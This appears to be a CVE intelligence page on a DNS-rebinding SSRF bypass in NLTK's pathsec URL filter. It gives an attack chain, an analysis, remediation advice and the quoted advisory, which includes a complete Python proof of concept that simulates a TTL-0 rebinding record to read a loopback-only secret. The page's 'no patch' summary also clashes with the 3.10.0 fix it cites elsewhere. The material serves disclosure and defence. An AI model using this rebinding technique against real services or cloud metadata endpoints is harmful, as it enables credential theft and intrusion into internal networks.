NLTK pathsec CVE-2026-12075
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessRegister hostname with TTL-0 DNS infrastructure
-
DeliverySupply attacker hostname as NLTK data URL
-
ExploitValidation resolves to public IP, filter passes
-
Executionurllib re-resolves hostname to internal IP at connect time
-
PersistHTTP connection reaches internal service or cloud metadata
-
ImpactFull response body returned to caller
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The application must pass attacker-influenced hostname values to |
| Impact | The CVSS 8.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) score reflects network-reachable, low-complexity, unauthenticated exploitation with scope change and high confidentiality impact, and these metrics are well-supported by the technical description. The most severe real-world impact is exfiltration of cloud IAM credentials via the instance metadata service (169.254.169.254), which can lead to full cloud account compromise - a consequence that substantially amplifies the raw CVSS score. A working PoC is publicly available, making exploitation accessible to non-specialist attackers. No EPSS score was provided in the input data and the vulnerability is not listed in the CISA KEV at time of analysis, so widespread exploitation cannot be confirmed, but the public PoC lowers the exploitation bar significantly. The compounding risk factor is the false assurance from the |
| Exploit ScenarioDerived | An attacker registers a hostname under their control with a TTL-0 A record and configures their authoritative DNS server to return a legitimate public IP (e.g., 93.184.216.34) on the first query and the cloud metadata IP 169.254.169.254 (or a loopback address) on the second. When a web application passes this hostname as a URL to |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 31, 2026
DNS rebinding defeats nltk.pathsec.urlopen()'s SSRF filter in NLTK 3.9.4 and earlier, allowing unauthenticated remote attackers to reach loopback addresses, private networks, and cloud instance metadata endpoints - even with ENFORCE = True - and receive full, non-blind HTTP responses. The root cause is a TOCTOU gap: validation resolves the hostname once, but urllib independently re-resolves it at connect time via a separate getaddrinfo call, connecting to whatever the attacker's TTL-0 rebinding record returns on the second lookup. A working proof-of-concept is publicly available in the GHSA advisory, and the lru_cache annotation on _resolve_hostname creates a false assurance that rebinding is already mitigated, meaning operators who adopted this boundary believe themselves protected when they are not.
RemediationAI
Upgrade NLTK to version 3.10.0, which is the vendor-confirmed patched release per the GHSA advisory at https://github.com/nltk/nltk/security/advisories/GHSA-qvv7-cg9c-w4x3. Run pip install --upgrade nltk>=3.10.0 and verify the installed version. If immediate upgrade is not possible, apply the following compensating controls in order of effectiveness: (1) Restrict egress HTTP from the application host to deny outbound connections to RFC-1918 ranges, loopback, and the cloud metadata IP 169.254.169.254 at the network or iptables/nftables level - this blocks the connection even when the filter is bypassed, though it requires firewall access and may break legitimate internal service calls; (2) Proxy all outbound HTTP through an allowlisted egress proxy that enforces destination IP validation at connect time rather than at DNS resolution time, accepting the operational overhead of maintaining the allowlist; (3) Ensure no untrusted user input can reach nltk.pathsec.urlopen(), nltk.data.load(), or nltk.download() - treat these as internal-only APIs if the upgrade cannot be applied. Do NOT rely on nltk.pathsec.ENFORCE = True as a security control until the library is patched, as this mode is precisely what the bypass defeats.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
NLTK's nltk.pathsec module (CPE: pkg:pip/nltk, versions ≤ 3.9.4) implements an SSRF allowlist filter via validate_network_url(), which resolves the target hostname using _resolve_hostname() (decorated with functools.lru_cache) and rejects IPs in loopback, link-local, multicast, and RFC-1918 ranges. The flaw is a classic CWE-918 (Server-Side Request Forgery) variant compounded by a time-of-check/time-of-use race on DNS: after validation passes, urlopen() passes the original raw hostname string to urllib's build_opener().open(), which initiates a completely independent resolution chain - http.client.HTTPConnection.connect → socket.create_connection → socket.getaddrinfo - that does not consult the lru_cache populated during validation. An attacker controlling authoritative DNS for a hostname configures a TTL-0 A record that returns a legitimate public IP on the first query (satisfying the filter) and an internal/loopback IP on the second query (the one urllib actually connects to). The lru_cache on the validation side provides zero protection because the connection-layer resolver is an entirely separate code path.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Network-reachable with no auth; TTL-0 DNS rebinding is reliable once attacker controls DNS, supporting AC:L; scope change to internal systems; confidentiality-only impact.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
nltk.pathsec provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict ENFORCE mode for security-sensitive environments. The filter is bypassable by DNS rebinding: validate_network_url() resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under nltk.pathsec.ENFORCE = True.
Details
urlopen() validates, then hands the raw hostname to urllib, which performs a second name resolution deep in the connection layer (http.client.HTTPConnection.connect → socket.create_connection → socket.getaddrinfo). The validation-side and connection-side resolutions are fully independent code paths with independent caches:
validate_network_url()calls_resolve_hostname(parsed.hostname)and checks each returned IP against loopback/link-local/multicast/private, blocking underENFORCE. (Resolution #1.)urlopen()then callsbuild_opener(...).open(url)with the original URL (raw hostname), sourllibresolves the hostname again at connect time. (Resolution #2 - the address actually connected to.)
_resolve_hostname is decorated with lru_cache and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's getaddrinfo does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.
PoC
import socket
import threading
import warnings
from collections import defaultdict
from http.server import BaseHTTPRequestHandler, HTTPServer
warnings.filterwarnings("ignore")
import nltk
import nltk.pathsec as ps
ps.ENFORCE = True
# the documented strict SSRF sandbox
ATTACKER_HOST = "rebind.attacker.test"
# attacker-controlled authoritative DNS
PUBLIC_IP = "93.184.216.34"
# public address served for the validation lookup
SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"
# --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) ---
class _Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(SECRET)))
self.end_headers()
self.wfile.write(SECRET)
def log_message(self, *a):
pass
def start_internal_server():
srv = HTTPServer(("127.0.0.1", 0), _Handler)
threading.Thread(target=srv.serve_forever, daemon=True).start()
return srv.server_address[1]
# ephemeral port
# --- Model the TTL-0 rebinding record at the resolver layer ---
_real_getaddrinfo = socket.getaddrinfo
_lookups = defaultdict(int)
def _rebinding_getaddrinfo(host, port, *args, **kwargs):
if host == ATTACKER_HOST:
n = _lookups[host]
_lookups[host] += 1
ip = PUBLIC_IP if n == 0 else "127.0.0.1"
# 1st=public (validate), then loopback (connect)
p = port if isinstance(port, int) else 0
kind = "VALIDATION -> public" if n == 0 else "CONNECT -> loopback"
print(f" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})")
return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))]
return _real_getaddrinfo(host, port, *args, **kwargs)
def fetch(url):
with ps.urlopen(url, timeout=5) as r:
return r.read()
def main():
print("=" * 62)
print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC")
print(f" nltk {nltk.__version__} | nltk.pathsec.ENFORCE = {ps.ENFORCE}")
print("=" * 62)
port = start_internal_server()
print(f"[*] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\n")
socket.getaddrinfo = _rebinding_getaddrinfo
ps._resolve_hostname.cache_clear()
# fresh validation cache, as on a real process
try:
# ---- Control: a DIRECT loopback URL must be blocked by the filter ----
print("[1] CONTROL: direct loopback URL (filter must block this)")
direct = f"http://127.0.0.1:{port}/"
try:
fetch(direct)
print(f" [?] unexpected: {direct} was NOT blocked\n")
control_ok = False
except PermissionError as e:
print(f" [OK] blocked -> PermissionError: {e}\n")
control_ok = True
# ---- Attack: rebinding hostname bypasses the same filter ----
print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)")
evil = f"http://{ATTACKER_HOST}:{port}/"
print(f" fetching {evil}")
try:
body = fetch(evil)
leaked = SECRET in body
print(f" body returned to caller: {body!r}")
if leaked:
print("\n [VULN] loopback-only secret exfiltrated through pathsec.urlopen")
print(f" validated IP = {PUBLIC_IP} (public) but connected IP = 127.0.0.1")
print(f" non-blind SSRF despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print("\n [?] fetch succeeded but secret marker not present")
verdict = "INCONCLUSIVE"
except PermissionError as e:
# Patched build: validate against the connect-time IP (or pin/resolve-once).
print(f"\n [SAFE] blocked -> PermissionError: {e}")
verdict = "NOT VULNERABLE"
finally:
socket.getaddrinfo = _real_getaddrinfo
print("\n" + "=" * 62)
print(f" Control (direct loopback blocked): {control_ok}")
print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")
print("=" * 62)
if __name__ == "__main__":
main()Impact
- Full-response (non-blind) SSRF. Because the fetched body is returned to the caller (e.g.
nltk.data.loadwithformat="raw"), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and - most seriously - the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise. - Bypass of an explicit security control. It defeats the
nltk.pathsecSSRF filter, including theENFORCEmode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and thelru_cacheannotation claiming to mitigate rebinding makes the false assurance worse.
Blast Radius
ecosystem impact- 6 pypi packages depend on nltk (6 direct, 0 indirect)
Ecosystem-wide dependent count for version 3.10.0.
Articles & Coverage 1
Executive ViewAI
NLTK (Natural Language Toolkit) 3.9.4 and earlier contains a DNS rebinding vulnerability that defeats built-in SSRF protections, allowing unauthenticated attackers with publicly available exploit code to access internal systems and cloud metadata. Organizations using NLTK for URL processing face immediate risk of unauthorized access to private networks and sensitive cloud infrastructure. The vulnerability is particularly concerning because the library's security controls create a false sense of protection, potentially preventing detection of attacks.
No vendor-released patch identified at time of analysis. Implement these interim controls: (1) network segmentation to prevent affected systems from accessing private IP ranges and cloud metadata endpoints, (2) DNS rate-limiting and traffic analysis to detect and block rebinding attempts, (3) temporary workarounds such as moving URL validation logic to alternative, patched libraries where business logic permits, and (4) restriction of NLTK deployment to fully trusted, non-internet-facing environments only until a patched version is released.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Affected Products (CPE)GitHub Advisory
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
GHSA-qvv7-cg9c-w4x3
NVD
CVE.org
Exploit-DB